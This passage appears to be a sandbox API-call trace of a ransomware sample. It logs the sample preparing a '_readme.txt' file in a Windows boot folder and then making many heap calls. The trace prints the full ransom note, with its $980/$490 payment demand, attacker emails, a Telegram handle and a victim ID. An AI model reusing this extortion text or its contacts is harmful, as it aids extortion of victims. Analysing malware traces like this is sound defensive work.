SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x31106e0 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0266.362] FreeLibrary (hLibModule=0x75d10000) returned 1 [0266.362] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3076cb0 | out: hHeap=0x640000) returned 1 [0266.362] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0266.362] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3076f08 | out: hHeap=0x640000) returned 1 [0266.363] PathAppendW (in: pszPath="C:\\Boot\\pl-PL\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\pl-PL\\_readme.txt") returned 1 [0266.363] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0266.363] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3076f08 | out: hHeap=0x640000) returned 1 [0266.363] PathFileExistsW (pszPath="C:\\Boot\\pl-PL\\_readme.txt") returned 0 [0266.363] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x7d00) returned 0x31156f0 [0266.363] lstrcpyW (in: lpString1=0x31156f0, lpString2="ATTENTION!\r\n\r\nDon't worry my friend, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-1aTCryfzhK\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nvengisto@firemail.cc\r\n\r\nReserve e-mail address to contact us:\r\ngorentos@bitmessage.ch\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n078AKsudu438fyasfs" | out: lpString1="ATTENTION!\r\n\r\nDon't worry my friend, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-1aTCryfzhK\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nvengisto@firemail.cc\r\n\r\nReserve e-mail address to contact us:\r\ngorentos@bitmessage.ch\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n078AKsudu438fyasfs") returned="ATTENTION!\r\n\r\nDon't worry my friend, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-1aTCryfzhK\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nvengisto@firemail.cc\r\n\r\nReserve e-mail address to contact us:\r\ngorentos@bitmessage.ch\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n078AKsudu438fyasfs" [0266.363] lstrcatW (in: lpString1="ATTENTION!\r\n\r\nDon't worry my friend, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-1aTCryfzhK\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nvengisto@firemail.cc\r\n\r\nReserve e-mail address to contact us:\r\ngorentos@bitmessage.ch\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n078AKsudu438fyasfs", lpString2="pQseAIqgTVhPujMMiqH1ILPNUg3soGVim0NAnkt1" | out: lpString1="ATTENTION!\r\n\r\nDon't worry my friend, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-1aTCryfzhK\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nvengisto@firemail.cc\r\n\r\nReserve e-mail address to contact us:\r\ngorentos@bitmessage.ch\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n078AKsudu438fyasfspQseAIqgTVhPujMMiqH1ILPNUg3soGVim0NAnkt1") returned="ATTENTION!\r\n\r\nDon't worry my friend, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-1aTCryfzhK\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nvengisto@firemail.cc\r\n\r\nReserve e-mail address to contact us:\r\ngorentos@bitmessage.ch\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n078AKsudu438fyasfspQseAIqgTVhPujMMiqH1ILPNUg3soGVim0NAnkt1" [0266.363] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x310a230 [0266.363] CreateFileW (lpFileName="C:\\Boot\\pl-PL\\_readme.txt" (normalized: "c:\\boot\\pl-pl\\_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0266.363] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x310a230 | out: hHeap=0x640000) returned 1 [0266.363] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31156f0 | out: hHeap=0x640000) returned 1 [0266.364] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.364] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3076f08 [0266.364] FindFirstFileW (in: lpFileName="C:\\Boot\\pl-PL\\*", lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x30914e0 [0266.364] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3076f08 | out: hHeap=0x640000) returned 1 [0266.364] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0266.364] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe9e5ad4a, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0266.364] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe9e5ad4a, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0266.364] FindClose (in: hFindFile=0x30914e0 | out: hFindFile=0x30914e0) returned 1 [0266.364] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.364] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x7029f0 | out: hHeap=0x640000) returned 1 [0266.364] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x7029f0 [0266.364] PeekMessageW (in: lpMsg=0x387fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x387fb74) returned 0 [0266.364] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.364] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0266.364] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.364] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.364] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.364] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0266.364] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.365] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.365] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.365] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0266.365] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.365] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.365] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.365] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0266.365] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.365] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.365] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.365] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0266.365] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.365] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.365] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.365] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x840) returned 0x3109120 [0266.365] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.365] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.365] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.365] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0266.365] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xc2e) returned 0x31106e0 [0266.365] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.365] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0266.365] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.365] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.365] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0266.365] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.365] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.366] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.366] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x840) returned 0x3109120 [0266.366] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.366] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.366] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.366] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x860) returned 0x31106e0 [0266.366] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0266.366] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.366] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.366] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x860) returned 0x31106e0 [0266.366] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0266.366] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.366] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.366] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0266.366] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.366] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.366] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.366] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0266.366] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.366] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.366] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.366] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x840) returned 0x3109120 [0266.366] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.366] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.366] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.366] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x840) returned 0x3109120 [0266.366] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.367] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.367] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.367] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0266.367] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.367] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.367] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.367] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0266.367] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.367] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.367] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.367] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0266.367] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.367] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.367] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.367] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0266.367] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.367] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.367] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.367] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0266.367] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.367] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.367] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.367] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0266.367] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.367] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.367] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.367] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0266.367] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.368] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.368] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.368] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0266.368] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xc46) returned 0x31106e0 [0266.368] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.368] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0266.368] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.368] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.368] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0266.368] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.368] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.368] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.368] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0266.368] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xc2e) returned 0x31106e0 [0266.368] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.368] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0266.368] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.368] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.368] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x860) returned 0x31106e0 [0266.368] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0266.368] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.368] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.368] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x860) returned 0x31106e0 [0266.368] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0266.368] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.368] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.368] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0266.369] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.369] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.369] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.369] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0266.369] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.369] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.369] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.369] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0266.369] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xc46) returned 0x31106e0 [0266.369] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.369] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0266.369] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.369] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.369] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x840) returned 0x3109120 [0266.369] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.369] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.369] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.369] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x840) returned 0x3109120 [0266.369] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.369] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.369] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.369] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0266.369] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.369] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.369] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.369] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0266.369] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.370] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.370] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.370] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0266.370] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.370] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.370] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.370] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0266.370] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.370] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702a18 | out: hHeap=0x640000) returned 1 [0266.370] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702a18 [0266.370] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0266.370] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.370] HeapFree (in: hHeap=0x640000, dwFlags=0x0, 